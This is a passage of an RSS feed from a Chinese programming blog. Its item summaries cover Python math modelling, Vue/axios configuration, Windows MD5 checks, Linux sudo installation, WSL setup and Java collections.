对于主成分分析而言，旋转项（Rotation）可以不必设置；对于数据没有缺失的情况下，Option项可以不必理会。&#xA;Correlation Matrixa&#xA;消费支出食品烟酒衣著居住生活用品及服务交通通信教育文化娱乐医疗保健其他用品及服务Correlation消费支出1.000.873.499.960.838.872.860.715.906食品烟酒.8731.000.262.811.663.755.620.396.751&#xA;衣著.499.2621.000.377.646.424.355.606.649&#xA;居住.960.811.3771.000.774.761.825.657.861&#xA;生活用品及服务.838.663.646.7741.000.685.730.608.804&#xA;交通通信.872.755.424.761.6851.000.774.624.727</description>
    </item>
    <item>
      <title>6 issues were found when checking AAR metadata:</title>
      <link>https://bchobby.github.io/posts/b8cfcd60f9080ea4067fa1b8b6772fab/</link>
      <pubDate>Thu, 09 Feb 2023 16:02:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8cfcd60f9080ea4067fa1b8b6772fab/</guid>
      <description>版本改低一点 1.4.0</description>
    </item>
    <item>
      <title>通过playwright获取某平台直播弹幕</title>
      <link>https://bchobby.github.io/posts/5714d94efef3801c1646915b5580725b/</link>
      <pubDate>Thu, 09 Feb 2023 16:01:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5714d94efef3801c1646915b5580725b/</guid>
      <description>声明：&#xA;本文仅供自己学习用，如有侵权请联系本人删除。&#xA;近期在学习研究中，发现一个很棒的东西，playwright，通过该库，可以完成各种数据的获取，但是也有优缺点。&#xA;先来讲优点：&#xA;无需研究各种算法、不用玩逆向等等之类的麻烦操作。&#xA;然后讲缺点：&#xA;只能做本地化，因为它需要打开浏览器（这点不知道为什么，java端就可以设置无头模式并且可以不用安装浏览器驱动就可以运行，但是py不行，还有待研究）&#xA;我们来看看某平台直播弹幕的获取吧&#xA;运行环境：&#xA;python 3.7&#xA;playwright 1.29.0&#xA;protocbuf 3.19.4&#xA;代码，就不上了，该平台反正用的是标准的google的protocbuf进行数据传输的。然后用的gzip进行压缩。拿到数据后gizp解压，然后通过proto解析即可得到数据。实际运行结果如下图：</description>
    </item>
    <item>
      <title>二维码如何制作？快速制作二维码的教程在这里</title>
      <link>https://bchobby.github.io/posts/6e1463a22ff95048a8ed6bafde459acd/</link>
      <pubDate>Thu, 09 Feb 2023 14:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e1463a22ff95048a8ed6bafde459acd/</guid>
      <description>二维码如何制作？在我们的日常生活中总是会看到形形色色的二维码图片，在我们的日常生活中少不了需要时时接触二维码，除了系统自动生成二维码之外，其实我们还可以借助一些软件来进行二维码的生成，这里小编就来给大家介绍二维码生成的方式方法。&#xA;方法一：草料二维码&#xA;打开电脑上的网站，进入到网站的首页，点击选择文本、网址、文件或图片生成二维码，输入相应的内容之后，点击下方的【生成二维码】，我们可以在右侧查看到相应的二维码内容。可以对生成的二维码进行美化编辑，编辑好的二维码可以直接将其保存到本地。&#xA;方法二：书单视频助手&#xA;打开手机上的软件，进入到软件的首页，点击选择【制作二维码】选项，上传需要进行制作的二维码链接，上传好链接之后，点击进入到下一步，系统就会自动对链接进行识别生成相应的二维码，我们可以根据自己的喜好选择一个好看的二维码进行保存。&#xA;方法三：二维码生成助手&#xA;打开电脑上的软件，进入到软件的首页，点击选择文本/网址转二维码，选择好之后，输入相应的内容，我们可以点击预览相应的二维码，预览完成之后，点击生成二维码，我们可以在右侧查看到生成的二维码，编辑好之后即可将其保存到本地。&#xA;以上就是小编给大家介绍的二维码的制作方法，相信大家看完之后应该对于二维码的制作有所了解了，今天我们的分享就到这里了。</description>
    </item>
    <item>
      <title>有没有好用的消除笔app？消除笔软件介绍给你</title>
      <link>https://bchobby.github.io/posts/ef41f676d6d14a67637c56fdc8fd344b/</link>
      <pubDate>Thu, 09 Feb 2023 14:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef41f676d6d14a67637c56fdc8fd344b/</guid>
      <description>在我们日常的拍摄过程种，可能会遇倒一些行人乱入的现况。尤其是节假日的时候，人头攒动，基本上无法保证画面的症结。这个时候其实你也不用担心，我们直接使用消除笔，消除一些多余的背景即可完成。这里小编就来给大家介绍消除笔的使用办法，大家要仔细学习哦！&#xA;方法一：无痕消除笔&#xA;第一步 打开电脑上的软件，进入到软件的首页，点击选择【消除笔】选项。&#xA;第二步 选择好相应的选项之后，点击上传需要进行处理的图片文件。上传好图片文件之后，点击调整笔刷的代销，点击需要进行消除的位置等待系统进行处理。处理完成之后，直接将图片保存到本地即可。&#xA;方法二：书单视频助手&#xA;第一步 打开手机上的软件，进入到软件的首页，点击选择精选工具里面的【消除笔】选项。&#xA;第二步 选择好相应的选项之后，点击调整笔刷的粗细，并且将其涂抹到需要去除的部位，点击【完成】按钮，等待系统进行处理。处理完成后的图片我们可以直接看到效果。&#xA;以上就是小编给大家介绍的好用的消除笔软件了，大家下次拍照的时候背景杂乱就可以使用这个办法来解决哦，今天的分享就到这里啦！</description>
    </item>
    <item>
      <title>python数学建模导论2.2 常微分方程符号解与数值解的计算（未放入章节为微分方程介绍章节，自行百度）</title>
      <link>https://bchobby.github.io/posts/34dcdd9648c188a022f0aab80fca1895/</link>
      <pubDate>Thu, 09 Feb 2023 14:09:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34dcdd9648c188a022f0aab80fca1895/</guid>
      <description> from sympy import * y = symbols(&#39;y&#39;, cls=Function) x = symbols(&#39;x&#39;) eq = Eq(y(x).diff(x,2)+2*y(x).diff(x,1)+y(x),x*x) print(dsolve(eq, y(x))) 结果&#xA;from sympy import * y = symbols(&#39;y&#39;, cls=Function) x = symbols(&#39;x&#39;) eq = Eq(y(x).diff(x,2)+4*y(x).diff(x,1)+29*y(x), 0) print(dsolve(eq, y(x))) C1=symbols(&#39;C1&#39;) C2=symbols(&#39;C2&#39;) f=(C1*sin(5*x) + C2*cos(5*x))*exp(-2*x) #第五行eq的解 print(f.diff(x,1)) #eq的一阶导的形式 &#39;&#39;&#39; (0*C1+1*C2)*1=0 -2*(C1*0+C2*1)*1+(5*C1*1-5*C2*0)*1=15 &#39;&#39;&#39; </description>
    </item>
    <item>
      <title>devServer详解</title>
      <link>https://bchobby.github.io/posts/da2c87d388eea510538426bccdff7f8a/</link>
      <pubDate>Thu, 09 Feb 2023 11:35:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da2c87d388eea510538426bccdff7f8a/</guid>
      <description> devServer: { host: &#39;127.0.0.1&#39;, port: 5050, open: false, proxy: { &#39;/api&#39;: { target: &#39;http://192.168.1.30:8085/&#39;, ws: true, changeOrigin: true, pathRewrite: { &#39;^/api&#39;: &#39;/&#39;, }, }, }, }, host:指定要使用的 host. vue默认配置为0.0.0.0,代表其他人也能访问,如果改为127.0.0.1之后,项目通过num run serve 运行起来之后其他人是不能访问的,只要自己可以访问. port:端口; open:true :open设置为true代表服务器已经启动后自动打开浏览器; proxy:代理 proxy.api :代表的意思是当我接口的请求为/api开头时才用代理; target:代理地址,这里设置的地址会代替axios中设置的baseURL changeOrigin:如果接口跨域，需要进行这个参数配置 pathRewrite:重写url, //pathRewrite: {&#39;^/api&#39;: &#39;/&#39;} 重写之后url为 http://192.168.1.16:8085/xxxx //pathRewrite: {&#39;^/api&#39;: &#39;/api&#39;} 重写之后url为 http://192.168.1.16:8085/api/xxxx </description>
    </item>
    <item>
      <title>axios二次封装</title>
      <link>https://bchobby.github.io/posts/494979a0cd97550cd1c71806c15b46cf/</link>
      <pubDate>Thu, 09 Feb 2023 11:31:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/494979a0cd97550cd1c71806c15b46cf/</guid>
      <description>axios二次封装 一、axios 官网&#xA;下载 引入使用,如下 axios.get(&#39;url?参数1=值&amp;amp;参数2=值&#39;); axios.post(&#39;url&#39;,{ 参数:值, 参数2:值}); axios{{ url: &#39;请求的路经&#39;,// `url` 是用于请求的服务器 URL method: &#39;请求方法&#39;, // 默认值get // `method` 是创建请求时使用的方法 params: {} //get请求方法：前端给后端传递的数据 data：{} //post请求方法：前端给后端传递的数据 headers: {}, // 自定义请求头 timeout: 1000, // 默认值是 `0` (永不超时) // 如果请求时间超过 `timeout` 的值，则请求会被中断 //表示浏览器将要响应的数据类型 responseType: &#39;json&#39;, // 默认值 }); 二、axios的二次封装 util-&amp;gt;request.js&#xA;// 1. import axios from &#34;axios&#34;; /* 2 * 第1种根据环境变量区分接口的默认地址 */ const instance = axios.create({ // baseURL: &#39;http://testapi.xuexiluxian.cn&#39;, baseURL: process.env.VUE_APP_TITLE == &#34;</description>
    </item>
    <item>
      <title>Windows 对文件做MD5值校验</title>
      <link>https://bchobby.github.io/posts/4541b7c19cfec93253d51ab0b85cf777/</link>
      <pubDate>Thu, 09 Feb 2023 11:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4541b7c19cfec93253d51ab0b85cf777/</guid>
      <description> 没想到Windows 自带MD5校验工具。 场景：使用MD5校验算法，检测文件的是否损坏或被修改过。 输入cmd，进入命令行界面&#xA;输入命令：certutil -hashfile 文件路径 md5&#xA;还支持其他的哈希算法：&#xA;实例 在D:\Desktop\temp路径下有两个文件。其中test2是由test1复制得到的。&#xA;输入命令：certutil -hashfile D:\Desktop\temp\test1.txt md5&#xA;内容不同的文件，得到的MD5值也是不一样的。&#xA;Linux 下查看文件的 MD5 值 md5sum &amp;lt;filename&amp;gt; </description>
    </item>
    <item>
      <title>c语言实现u8、u16、u32相互转换</title>
      <link>https://bchobby.github.io/posts/9b67508cf5e9d8d4a1cf9b427514b133/</link>
      <pubDate>Thu, 09 Feb 2023 11:20:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b67508cf5e9d8d4a1cf9b427514b133/</guid>
      <description>不同数据类型的转换，分大小端模式，下面分享我经常用的转换方式。&#xA;1、u8 to u16&#xA;u16 DataToUnshort(u8 *pBuffer, u8 uModeFlag) { u16 uShort = 0; uShort = *pBuffer++; if(USING_MODE_BIG == uModeFlag) { /* 大端模式 */ uShort = (uShort &amp;lt;&amp;lt; 8) | (*pBuffer); } else { /* 小端模式 */ uShort |= (*pBuffer) &amp;lt;&amp;lt; 8; } return uShort;&#x9;} 2、u16 to u8&#xA;void DataToUnchar(u8 *pBuffer, u16 uShort, u8 uModeFlag) { if(USING_MODE_BIG == uModeFlag) { /* 大端模式 */ *pBuffer++ = (uShort &amp;gt;&amp;gt; 8) &amp;amp; 0xFF; *pBuffer = uShort &amp;amp; 0xFF;&#x9;} else { /* 小端模式 */ *pBuffer = uShort &amp;amp; 0xFF; pBuffer++; *pBuffer = (uShort &amp;gt;&amp;gt; 8) &amp;amp; 0xFF; } } 3、u8 to u32</description>
    </item>
    <item>
      <title>sudo: command not found 的解决方法</title>
      <link>https://bchobby.github.io/posts/392e1e57c6a36affe12776da066a816a/</link>
      <pubDate>Thu, 09 Feb 2023 10:43:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/392e1e57c6a36affe12776da066a816a/</guid>
      <description>sudo 是 Linux 系统管理指令，是允许系统管理员让普通用户执行一些或者全部的 root 命令的一个工具，如 halt，reboot，su 等等。这样不仅减少了 root 用户的登录和管理时间，同样也提高了安全性。sudo 不是对 shell 的一个代替，它是面向每个命令的。&#xA;在 Linux 系统中，使用 sudo 命令时如果提示 “command not found”，我们应该如何解决呢？&#xA;首先执行以下命令看一下 /etc/sudoers.d 文件是否存在，&#xA;find /etc/sudoers.d&#xA;1&#xA;1、如果返回 No such file or directory，就说明你的系统没有安装sudo，下面是安装命令 ：&#xA;apt-get install sudo&#xA;1&#xA;如果提示 E: Unable to locate package sudo 的错误，先执行下面的命令：&#xA;apt-get update&#xA;1&#xA;再执行 sudo apt-get install 就可以了。&#xA;2、如果 /etc/sudoers.d 文件存在则说明系统已经安装了 sudo，只不过没有配置环境。&#xA;当你使用 sudo 去执行一个程序时，处于安全的考虑，这个程序将在一个新的、最小化的环境中执行，也就是说，诸如PATH这样的环境变量，在 sudo 命令下已经被重置成默认状态了。所以当一个刚初始化的 PATH 变量中不包含你所要运行的程序所在的目录，用 sudo 去执行，你就会得到 “command not found” 的错误提示。</description>
    </item>
    <item>
      <title>XXL-JOB适配金仓kingbaseV8R3版本</title>
      <link>https://bchobby.github.io/posts/e319b065dbdb6e0acb8e2e9198010982/</link>
      <pubDate>Thu, 09 Feb 2023 10:37:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e319b065dbdb6e0acb8e2e9198010982/</guid>
      <description>1、版本信息&#xA;xxl-job：2.3.1&#xA;金仓kingbase：V8R3&#xA;已上传修改之后的版本到github，可以直接下载使用（包含xxl-job kingbase建表语句)&#xA;bunnyml/xxl-job-kingbase: 基于xxl-job 2.3.1兼容kingbaseV8R3版本 (github.com)&#xA;2、需要修改的部分 2.1 xxl-job-admin包下的pom.xml，增加kingbase jar包，jar我已放在了上面github项目中&#xA;2.2 修改xxl-job-admin包下的application.properties文件中的数据库链接相关配置&#xA;2.3 修改xxl-job-admin包下mybatis-mapper中的所有xml文件，去掉了所有xml文件中的`号，以兼容kingbase，自行全局替换&#xA;2.4 修改XxlJobLogMapper.xml文件下的此语句&#xA;2.5 修改XxlJobRegistryMapper.xml中的这两个SQL以兼容kingbase语法&#xA;3. 其他使用配置请参考官方文档&#xA;分布式任务调度平台XXL-JOB (xuxueli.com)&#xA;部分修改参考了 Zheng.Zeng的博客(95条消息) XXL-JOB适配人大金仓数据库kingbase_Zheng.Zeng的博客-CSDN博客</description>
    </item>
    <item>
      <title>win10 在线、离线安装microsoft store 版 WSL</title>
      <link>https://bchobby.github.io/posts/1e6d908a8e2a4124f5372f997f6224c1/</link>
      <pubDate>Thu, 09 Feb 2023 10:09:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e6d908a8e2a4124f5372f997f6224c1/</guid>
      <description>实验环境：&#xA;操作系统：22H2 windows版本 10.0.19045.2486（网友说大于19045.2311也可）&#xA;WSL版本：Microsoft.WSL_1.0.3.0_x64_ARM64.msixbundle&#xA;离线安装 获取WSL安装包，方法一： 在此页面获取发布网址： Microsoft Store 中适用于 Linux 的 Windows 子系统的发行说明&#xA;获取此页面后下载软件包： 发布 微软/WSL&#xA;获取WSL安装包，方法二： 从Microsoft Store搜索wsl，点击“分享”。&#xA;点击“复制链接”获取软件页面链接&#xA;使用解析网站获取下载链接：&#xA;微软商店链接解析下载网站：Online link generator for Microsoft Store.&#xA;安装WSL的.msixbundle包 双击软件包会有提示：&#xA;powershell内以管理员权限执行：&#xA;Add-AppxPackage WSL软件包绝对路径.msixbundle 在线安装 在Microsoft Store内搜索“WSL”，然后按页面提示安装。&#xA;如果因网络打不开microsoft store，可以使用“迅游加速器”之类的软件进行加速，从而连接微软。 迅游加速器：口令兑换，【白嫖迅游加速】可得5天加速时长。需要在迅游加速器内，搜索“microsoft store”，并开启它的加速才生效。 微软商店microsoft store打不开/进不去/登不上解决方法&#xA;异常问题 WIndows不适用此打包版本：&#xA;Microsoft Store（大于19041版本）和官方手册（内部版本 19041 及更高版本）等是不准确的，起码我的19043是不支持打包版wsl的，需要升级到19045版本才能使用打包版。（不得不说是真的坑）&#xA;升级方法：设置-&amp;gt;更新和安全-&amp;gt;点击“立即更新”，会更新很多东西，直到完成“针对windows 10的功能更新，版本22H2”，Win+R输入winver查看系统版本。&#xA;相关参考：&#xA;手动下载安装微软商城中的软件</description>
    </item>
    <item>
      <title>IDEA社区版来回跳转的时候目标tab会覆盖当前tab</title>
      <link>https://bchobby.github.io/posts/770c79ccaeaedab2fb63bb5455681f62/</link>
      <pubDate>Thu, 09 Feb 2023 10:01:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/770c79ccaeaedab2fb63bb5455681f62/</guid>
      <description>IDEA社区版 CONTROLLER-SERVICE-MAPPER来回跳转的时候目标tab会覆盖当前tab。</description>
    </item>
    <item>
      <title>Python 中的 %.2f 是什么意思？</title>
      <link>https://bchobby.github.io/posts/083693df988d80c2a4a65000e66405e3/</link>
      <pubDate>Thu, 09 Feb 2023 09:47:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/083693df988d80c2a4a65000e66405e3/</guid>
      <description>在 Python 中，有多种格式化数据类型的方法。&#xA;%f 专门用于格式化浮点值（带小数的数字）。&#xA;我们可以使用 %f 来指定浮点数向上舍入时要返回的十进制数。&#xA;如何在 Python 中使用 %f 在本节中，你将看到一些有关如何使用 %f 以及可用于返回不同结果的各种参数的示例。&#xA;这是第一个例子：&#xA;floatNumber = 1.9876 print(&#34;%f&#34; % floatNumber) # 1.987600 在上面的示例中使用 %f 为数字添加了两个零。但这并没有什么特别之处。我们很快就会看到我们还能做些什么来修改结果值。&#xA;请注意，%f 必须嵌套在引号内，并且应该通过模运算符（%）与它正在格式化的浮点数分隔：&#34;%f&#34; % floatNumber。&#xA;让我们看另一个例子。&#xA;floatNumber = 1.9876 print(&#34;%.1f&#34; % floatNumber) # 2.0 在上面的代码中，我们在 %f 运算符的 % 和 f 之间添加了 .1，这意味着我们希望将数字四舍五入到小数点后一位。&#xA;请注意，如果你省略了我们在 % 和 f 之间传递的数字之前的句点/点符号（.），你将获得与第一个示例中类似的结果。&#xA;我们示例中的结果值为 2.0，当 1.9876 四舍五入到小数点后一位时返回。&#xA;让我们使用 %.2f 看看会发生什么。&#xA;floatNumber = 1.9876 print(&#34;%.2f&#34; % floatNumber) # 1.99 正如预期的那样，浮点数（1.9876）被四舍五入到小数点后两位，即 1.</description>
    </item>
    <item>
      <title>解决IDEA中MyBatis，XML文件SQL字段报红问题</title>
      <link>https://bchobby.github.io/posts/9a359a53d65d36ae9836071f273f2edc/</link>
      <pubDate>Thu, 09 Feb 2023 09:41:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a359a53d65d36ae9836071f273f2edc/</guid>
      <description>解决IDEA中MyBatis，XML文件SQL字段报问题&#xA;废话不多说，直接上图，按图解决问题&#xA;打开settings 找到如下内容&#xA;选择具体数据库</description>
    </item>
    <item>
      <title>python数学建模导论1.5 整数规划与指派问题的求解</title>
      <link>https://bchobby.github.io/posts/7cd33d40bfe8b272e8f0ae209c5a012d/</link>
      <pubDate>Wed, 08 Feb 2023 23:48:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cd33d40bfe8b272e8f0ae209c5a012d/</guid>
      <description>python数学建模导论1.5 整数规划与指派问题的求解 18:25 from scipy.optimize import linear_sum_assignment import numpy as np cost = np.array([[25, 29, 31, 42], [39, 38, 26, 20], [34, 27, 28, 40], [24, 42, 36, 23]]) row_ind, col_ind = linear_sum_assignment(cost) print(row_ind) # 开销矩阵对应的行索引 print(col_ind) # 对应行索引的最优指派的列索引 print(cost[row_ind, col_ind]) # 提取每个行索引的最优指派列索引所在的元素，形成数组print(cost[row ind,col ind].sum())#数组求和 print(cost[row_ind,col_ind].sum) optimize.linear_sum_assignment指派问题函数，详看链接文章：&#xA;https://blog.csdn.net/qq_51570094/article/details/124020861</description>
    </item>
    <item>
      <title>计算机网络概念——应用层email协议</title>
      <link>https://bchobby.github.io/posts/d858908fa20d0136348f267b90e4dbd9/</link>
      <pubDate>Wed, 08 Feb 2023 22:43:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d858908fa20d0136348f267b90e4dbd9/</guid>
      <description>1. email的工作方式。&#xA;电子邮件中有四个重要的组成部分：邮件服务器（电子邮件体系结构的核心，为其用户提供邮箱服务（管理、维护用户报文的服务），并起到邮件服务器间相互通信的作用）、用户代理（也就是用户在设备上的邮箱应用软件，用于用户使用自己的邮箱）、简单邮件传输协议（SMTP邮件报文发送规范）和邮件访问协议（POP3、IMAP或HTTP，主要是接收方服务器到接收方代理报文发送规范）。&#xA;电子邮件一般发送和接收步骤如图：（1）Alice首先打开自己的设备上的用户代理程序，然后编辑电子邮件内容，指定收件人邮箱地址，让她的用户代理发送；（2）Alice的用户代理将邮件内容和邮件收件人等封装成报文，通过SMTP协议发送到Alice的邮件服务器；（3）Alice的邮件服务器将该报文放到报文队列中，通过SMTP协议发送到接收方Bob的邮件邮件服务器中；（4）Bod的邮件服务器将该邮件放进Bob的邮箱中；（5）用户代理通过邮件访问协议操作邮箱中的邮件；（6）接收方查看设备上的用户代理程序，获取或操作邮件信息。&#xA;其中SMTP协议的基本流程如图，主要是连接建立、数据传输、连接释放。&#xA;其中邮件访问协议有POP3、IMAP和HTTP三种，IMAP与POP3流程（如图（上））类似，但是具有更多的操作功能，HTTP是基于WEB的电子邮件，其流程一般如图（下），图示例为持久非流水线式，非持久的HTTP完成一次HTTP后就会断开，流水线式可以一次多个HTTP request。&#xA;2. SMTP POP3 IMAP三者的关系。&#xA;（1）从邮件收发来看，SMTP是邮件发送的协议，而POP3和IMAP是邮件接收和处理的程序。（2）从采用的传输层协议来看，三个协议都使用的是TCP。（3）从服务阶段看，三者都有连接建立、数据传输、连接释放的阶段，但是POP3和IMAP有用户验证和邮件操作的阶段。（4）从协议使用的地方看，POP3和IMAP仅使用在接收方的服务器和用户代理之间，而SMTP可以用在整个过程中。&#xA;3. POP3 IMAP的不同。&#xA;IMAP是POP3的升级版。（1）从会话状态维持来说，POP3是无状态的，而IMAP是有状态的，即IMAP可以在多个用户代理中同时使用并同步操作，而POP3的邮件处理仅能在单个用户代理中，因此有标记已读等需要状态的功能。（2）从报文获取来看，POP3只能完整获取，而IMAP可以选择获取报文特定部分。（3）从功能上看，IMAP有广告、垃圾文件识别的新功能和远程文件夹管理创建等功能。</description>
    </item>
    <item>
      <title>python数学建模导论1.3非线性规划及其python实现</title>
      <link>https://bchobby.github.io/posts/19c90e3803a8a20d4d4ee53222c43040/</link>
      <pubDate>Wed, 08 Feb 2023 22:21:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19c90e3803a8a20d4d4ee53222c43040/</guid>
      <description>python数学建模导论1.3非线性规划及其python实现 使用scipy求解&#xA;from scipy.optimize import minimize import numpy as np # 目标函数即min(FG1+FG2+FG3) def fun(x): return (4 + 0.3 * x[0] + 0.0007 * x[0] ** 2 + 3 + 0.32 * x[1] + 0.0004 * x[1] ** 2 + 3.5 + 0.3 * x[ 2] + 0.00045 * x[2] **2) def con(): # 约束条件 分为eq 和ineq # eq表示 函数结果等于e; ineg 表示 表达式大于等于0 cons = ({&#39;type&#39;:&#39;eq&#39;, &#39;fun&#39;:lambda x:x[0]+x[1]+x[2]-700}) # [&#39;type&#39;:ineq&#39;，&#39;fun&#39;: lambda x: -x[2] + x2max]#如果有不等式约束 #cons=([con1，con2，con3，con4， con5，con6，con7，con8]) #如果有多个约束，则最后返回结果是这个#x[0] 其中的e 必须是具体数字，不能是t 等参数 #上下限约束 b1=(100,200) b2=(120,250) b3=(150,300) bnds = (b1,b2,b3) #边界约束 if __name__ == &#39;__main__&#39;: cons = con() # 约束 # 设置x初始猜测值 x0 = np.</description>
    </item>
    <item>
      <title>(day11) 自学Java——集合进阶(单列集合)</title>
      <link>https://bchobby.github.io/posts/9a00c6c3486f6bf6b63c1075c79d5f65/</link>
      <pubDate>Wed, 08 Feb 2023 21:03:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a00c6c3486f6bf6b63c1075c79d5f65/</guid>
      <description>目录&#xA;1.集合体系结构&#xA;2.Collection集合&#xA;（1）迭代器&#xA;（2）增强for&#xA;（3）lambda表达式&#xA;3.List集合&#xA;4.数据结构&#xA;5.ArrayList集合&#xA;6.LinkedList集合&#xA;7.泛型深入&#xA;8.数据结构（树）&#xA;(1)二叉树&#xA;(2)平衡二叉树旋转机制&#xA;(3)红黑树&#xA;9.Set系列集合&#xA;(1) HashSet&#xA;(2)LinkedHashSet&#xA;(3)TreeSet&#xA;非原创，为方便后期复习&#xA;1.集合体系结构 2.Collection集合 1. List系列集合：添加的元素是有序、可重复、有索引。&#xA;（有序：“存”和“取”的顺序一样）&#xA;2. Set系列集合：添加的元素是无序、不重复、无索引。&#xA;（1）迭代器 （2）增强for （3）lambda表达式 3.List集合 4.数据结构 什么是数据结构？&#xA;计算机存储、组织数据的方式。&#xA;5.ArrayList集合 6.LinkedList集合 添加“aaa”，在LinkedList里的尾节点是null，所以l=last=null，尾结点last=newNode=0x0011，因为l==null，所以头结点为first=0x0011。&#xA;添加“bbb”，l=last=0x0011，尾结点last=newNode=0x0022，不满足l==null，所以l.next=newNode（就是0x0011.next=0x0022）&#xA;添加“ccc”，l=last=0x0022，尾结点last=newNode=0x0033，不满足l==null，所以l.next=newNode（就是0x0022.next=0x0033）&#xA;迭代器底层原理&#xA;7.泛型深入 1.泛型中不能写基本数据类型，因为数据在存入之后会变成Object类型，int无法转Object类型，要写成Integer包装类才可以转Object。&#xA;2.存入数据的时候，会检查数据类型，数据进入后会转成Object类型，取出时又强转回一开始的数据类型。&#xA;3.指定泛型类型后，可以传入该类类型或者子类类型。比如Animal类型，还可以传cat，dog类型。&#xA;4.如果不写泛型，就默认为Object类型。&#xA;泛型方法：1.在类名后面定义泛型（所有方法都能用）&#xA;2.在方法后面定义泛型（只有本方法能用）&#xA;练习：定义一个工具类：ListUtil，类中定义一个静态方法addAll，用来添加多个集合的元素&#xA;方式1：public class MyArrayList1 implements List&amp;lt;String&amp;gt;{} 类型可替换&#xA;方式2：public class MyArrayList2&amp;lt;E&amp;gt; implements List&amp;lt;E&amp;gt;{}&#xA;8.数据结构（树） (1)二叉树 1.普通二叉树，没有规律，只能遍历查找，麻烦。&#xA;2.二叉查找树，方便，查找方法，拿数据跟根节点比较，比根节点小/大，就跟左/右子节点比较......&#xA;度&amp;lt;=2就是二叉树&#xA;普通二叉树，查找效率低，只能遍历。&#xA;二叉查找树，效率提升，但是存储时可能会造成左右子树的高度差很大，查询效率也降低。&#xA;平衡二叉树，任意节点子树的高度差不能超过1。&#xA;(2)平衡二叉树旋转机制 平衡二叉树缺点：添加节点时，旋转次数太多，导致添加节点时间浪费。</description>
    </item>
    <item>
      <title>python数学建模导论1.1 线性代数知识的补充-线性规划方程求解方法</title>
      <link>https://bchobby.github.io/posts/fef023e4a63a058fe95c9119e10d33d0/</link>
      <pubDate>Wed, 08 Feb 2023 19:31:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fef023e4a63a058fe95c9119e10d33d0/</guid>
      <description>python数学建模导论1.1 线性代数知识的补充-线性规划方程求解方法 线性规划模型 线性规划模型 代码-使用numpy：&#xA;import numpy as np A = np.array([[10,-1,-2],[-1,10,-2],[-1,-1,5]]) # A为系数矩阵 b = np.array([72,83,42]) #馁接b珞案虫常数列 inv_A = np.linalg.inv(A) # A的逆矩阵 x = inv_A.dot(b) # A的逆矩阵与b做点积运算 x = np.linalg.solve(A,b) # 5,6两行也可以用本行替代 print(x) 结果展示：&#xA;代码-使用sympy：&#xA;from sympy import * x, y, z = symbols(&#39;x y z&#39;) eqs = [Eq(10 * x - y - 2 * z, 72), Eq(-x + 10 * y - 2 * z, 83), Eq(-x - y + 5*z, 42)] print(solve(eqs, [x, y, z])) 结果展示：</description>
    </item>
    <item>
      <title>springboot 整合 ip2region</title>
      <link>https://bchobby.github.io/posts/db1cc59474e7ba733af6665dc3c22d63/</link>
      <pubDate>Wed, 08 Feb 2023 15:09:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db1cc59474e7ba733af6665dc3c22d63/</guid>
      <description>Ip2region是什么？ ip2region - 准确率99.9%的离线IP地址定位库，0.0x毫秒级查询，ip2region.db数据库只有数MB，提供了java,php,c,python,nodejs,golang,c#等查询绑定和Binary,B树,内存三种查询算法。&#xA;ip2region 是Git开源项目：https://github.com/lionsoul2014/ip2region&#xA;第一步 将data目录下的ip2region.xdb 文件放到resources 目录下&#xA;第二步 引入maven依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.lionsoul&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ip2region&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.6.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 第三步 配置类&#xA;@Slf4j @Configuration public class Ip2RegionAutoConfiguration { @Bean public Ip2regionSearcher ip2regionSearcher() { InputStream ris = ClassPathResource.class.getClassLoader().getResourceAsStream(&#34;ipdb/ip2region.xdb&#34;); // 空引用 Searcher searcher = null; try { // 创建 searcher = Searcher.newWithBuffer(IoUtil.readBytes(ris)); //注意：不能使用文件类型，打成jar包后，会找不到文件 //searcher = Searcher.newWithFileOnly(Objects.requireNonNull(this.getClass().getResource(&#34;/ipdb/ip2region.xdb&#34;)).getPath()); return new Ip2regionSearcher(searcher); } catch (IOException e) { log.error(&#34;解析ip地址失败,无法创建搜索器: {}&#34;, e); throw new RuntimeException(e); } } } 服务类</description>
    </item>
    <item>
      <title>Matlab：索引超出数组范围</title>
      <link>https://bchobby.github.io/posts/3925bce4c7355016b00acaa16a865dde/</link>
      <pubDate>Wed, 08 Feb 2023 15:08:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3925bce4c7355016b00acaa16a865dde/</guid>
      <description>①&#xA;报错： 解决：&#xA;这里是读入经度，文件中有0kb的，删掉之后运行正常。</description>
    </item>
    <item>
      <title>微服务理解、Nacos与Eureka、Feign和Gateway</title>
      <link>https://bchobby.github.io/posts/dedf74c97d0287196109d2ba31488b62/</link>
      <pubDate>Wed, 08 Feb 2023 14:36:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dedf74c97d0287196109d2ba31488b62/</guid>
